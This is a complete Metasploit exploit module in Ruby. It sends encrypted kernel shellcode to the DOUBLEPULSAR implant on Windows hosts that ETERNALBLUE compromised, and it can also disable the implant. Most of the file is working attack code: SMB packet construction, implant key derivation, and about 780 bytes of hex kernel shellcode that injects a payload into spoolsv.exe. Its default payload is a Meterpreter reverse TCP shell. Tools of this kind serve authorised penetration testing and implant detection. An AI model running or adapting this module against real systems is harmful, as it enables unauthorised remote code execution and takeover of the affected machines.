Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::SMB::Client  
  
MAX_SHELLCODE_SIZE = 4096  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',  
'Description' => %q{  
This module executes a Metasploit payload against the Equation Group's  
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.  
  
While this module primarily performs code execution against the implant,  
the "Neutralize implant" target allows you to disable the implant.  
},  
'Author' => [  
'Equation Group', # DOUBLEPULSAR implant  
'Shadow Brokers', # Equation Group dump  
'zerosum0x0', # DOPU analysis and detection  
'Luke Jennings', # DOPU analysis and detection  
'wvu', # Metasploit module and arch detection  
'Jacob Robles' # Metasploit module and RCE help  
],  
'References' => [  
['MSB', 'MS17-010'],  
['CVE', '2017-0143'],  
['CVE', '2017-0144'],  
['CVE', '2017-0145'],  
['CVE', '2017-0146'],  
['CVE', '2017-0147'],  
['CVE', '2017-0148'],  
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],  
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],  
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],  
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],  
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],  
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']  
],  
'DisclosureDate' => '2017-04-14',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => ARCH_X64,  
'Privileged' => true,  
'Payload' => {  
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,  
'DisableNops' => true  
},  
'Targets' => [  
['Execute payload', {}],  
['Neutralize implant', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'AKA' => ['DOUBLEPULSAR'],  
'RelatedModules' => [  
'auxiliary/scanner/smb/smb_ms17_010',  
'exploit/windows/smb/ms17_010_eternalblue'  
],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION]  
}  
))  
  
register_advanced_options([  
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),  
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])  
])  
end  
  
OPCODES = {  
ping: 0x23,  
exec: 0xc8,  
kill: 0x77  
}  
  
STATUS_CODES = {  
not_detected: 0x00,  
success: 0x10,  
invalid_params: 0x20,  
alloc_failure: 0x30  
}  
  
def calculate_doublepulsar_status(m1, m2)  
STATUS_CODES.key(m2.to_i - m1.to_i)  
end  
  
# algorithm to calculate the XOR Key for DoublePulsar knocks  
def calculate_doublepulsar_xor_key(s)  
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))  
x & 0xffffffff # this line was added just to truncate to 32 bits  
end  
  
# The arch is adjacent to the XOR key in the SMB signature  
def calculate_doublepulsar_arch(s)  
s == 0 ? ARCH_X86 : ARCH_X64  
end  
  
def generate_doublepulsar_timeout(op)  
k = SecureRandom.random_bytes(4).unpack('V').first  
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00  
end  
  
def generate_doublepulsar_param(op, body)  
case OPCODES.key(op)  
when :ping, :kill  
"\x00" * 12  
when :exec  
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))  
end  
end  
  
def check  
ipc_share = "\\\\#{rhost}\\IPC$"  
  
@tree_id = do_smb_setup_tree(ipc_share)  
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")  
vprint_status("Target OS is #{smb_peer_os}")  
  
vprint_status('Sending ping to DOUBLEPULSAR')  
code, signature1, signature2 = do_smb_doublepulsar_pkt  
msg = 'Host is likely INFECTED with DoublePulsar!'  
  
case calculate_doublepulsar_status(@multiplex_id, code)  
when :success  
@xor_key = calculate_doublepulsar_xor_key(signature1)  
@arch = calculate_doublepulsar_arch(signature2)  
  
arch_str =  
case @arch  
when ARCH_X86  
'x86 (32-bit)'  
when ARCH_X64  
'x64 (64-bit)'  
end  
  
vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")  
CheckCode::Vulnerable  
when :not_detected  
vprint_error('DOUBLEPULSAR not detected or disabled')  
CheckCode::Safe  
else  
vprint_error('An unknown error occurred')  
CheckCode::Unknown  
end  
end  
  
def exploit  
if datastore['DefangedMode']  
warning = <<~EOF  
  
  
Are you SURE you want to execute code against a nation-state implant?  
You MAY contaminate forensic evidence if there is an investigation.  
  
Disable the DefangedMode option if you have authorization to proceed.  
EOF  
  
fail_with(Failure::BadConfig, warning)  
end  
  
# No ForceExploit because @tree_id and @xor_key are required  
unless check == CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')  
end  
  
case target.name  
when 'Execute payload'  
unless @xor_key  
fail_with(Failure::NotFound, 'XOR key not found')  
end  
  
if @arch == ARCH_X86  
fail_with(Failure::NoTarget, 'x86 is not a supported target')  
end  
  
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")  
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])  
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)  
vprint_status("Total shellcode length: #{shellcode.length} bytes")  
  
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")  
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)  
  
print_status('Sending shellcode to DOUBLEPULSAR')  
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)  
when 'Neutralize implant'  
return neutralize_implant  
end  
  
case calculate_doublepulsar_status(@multiplex_id, code)  
when :success  
print_good('Payload execution successful')  
when :invalid_params  
fail_with(Failure::BadConfig, 'Invalid parameters were specified')  
when :alloc_failure  
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')  
else  
fail_with(Failure::Unknown, 'An unknown error occurred')  
end  
ensure  
disconnect  
end  
  
def neutralize_implant  
print_status('Neutralizing DOUBLEPULSAR')  
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])  
  
case calculate_doublepulsar_status(@multiplex_id, code)  
when :success  
print_good('Implant neutralization successful')  
else  
fail_with(Failure::Unknown, 'An unknown error occurred')  
end  
end  
  
def do_smb_setup_tree(ipc_share)  
connect  
  
# logon as user \  
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])  
  
# connect to IPC$  
simple.connect(ipc_share)  
  
# return tree  
simple.shares[ipc_share]  
end  
  
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)  
# make doublepulsar knock  
pkt = make_smb_trans2_doublepulsar(opcode, body)  
  
sock.put(pkt)  
bytes = sock.get_once  
  
return unless bytes  
  
# convert packet to response struct  
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct  
pkt.from_s(bytes[4..-1])  
  
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']  
end  
  
def make_smb_trans2_doublepulsar(opcode, body)  
setup_count = 1  
setup_data = [0x000e].pack('v')  
  
param = generate_doublepulsar_param(opcode, body)  
data = param + body.to_s  
  
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct  
simple.client.smb_defaults(pkt['Payload']['SMB'])  
  
base_offset = pkt.to_s.length + (setup_count * 2) - 4  
param_offset = base_offset  
data_offset = param_offset + param.length  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x18  
pkt['Payload']['SMB'].v['Flags2'] = 0xc007  
  
@multiplex_id = rand(0xffff)  
  
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count  
pkt['Payload']['SMB'].v['TreeID'] = @tree_id  
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id  
  
pkt['Payload'].v['ParamCountTotal'] = param.length  
pkt['Payload'].v['DataCountTotal'] = body.to_s.length  
pkt['Payload'].v['ParamCountMax'] = 1  
pkt['Payload'].v['DataCountMax'] = 0  
pkt['Payload'].v['ParamCount'] = param.length  
pkt['Payload'].v['ParamOffset'] = param_offset  
pkt['Payload'].v['DataCount'] = body.to_s.length  
pkt['Payload'].v['DataOffset'] = data_offset  
pkt['Payload'].v['SetupCount'] = setup_count  
pkt['Payload'].v['SetupData'] = setup_data  
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)  
pkt['Payload'].v['Payload'] = data  
  
pkt.to_s  
end  
  
# ring3 = user mode encoded payload  
# proc_name = process to inject APC into  
def make_kernel_user_payload(ring3, proc_name)  
sc = make_kernel_shellcode(proc_name)  
  
sc << [ring3.length].pack("S<")  
sc << ring3  
  
sc  
end  
  
def generate_process_hash(process)  
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm  
proc_hash = 0  
process << "\x00"  
  
process.each_byte do |c|  
proc_hash = ror(proc_hash, 13)  
proc_hash += c  
end  
  
[proc_hash].pack('l<')  
end  
  
def ror(dword, bits)  
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF  
end  
  
def make_kernel_shellcode(proc_name)  
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm  
# Length: 780 bytes  
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +  
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +  
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +  
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +  
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +  
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +  
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +  
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +  
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +  
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +  
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +  
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +  
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +  
generate_process_hash(proc_name.upcase) +  
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +  
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +  
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +  
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +  
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +  
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +  
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +  
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +  
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +  
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +  
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +  
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +  
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +  
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +  
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +  
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +  
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +  
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +  
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +  
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +  
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +  
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +  
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +  
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +  
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +  
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +  
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +  
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +  
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +  
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +  
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +  
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +  
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +  
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +  
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +  
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"  
end  
  
def kernel_shellcode_size  
make_kernel_shellcode('').length  
end  
  
end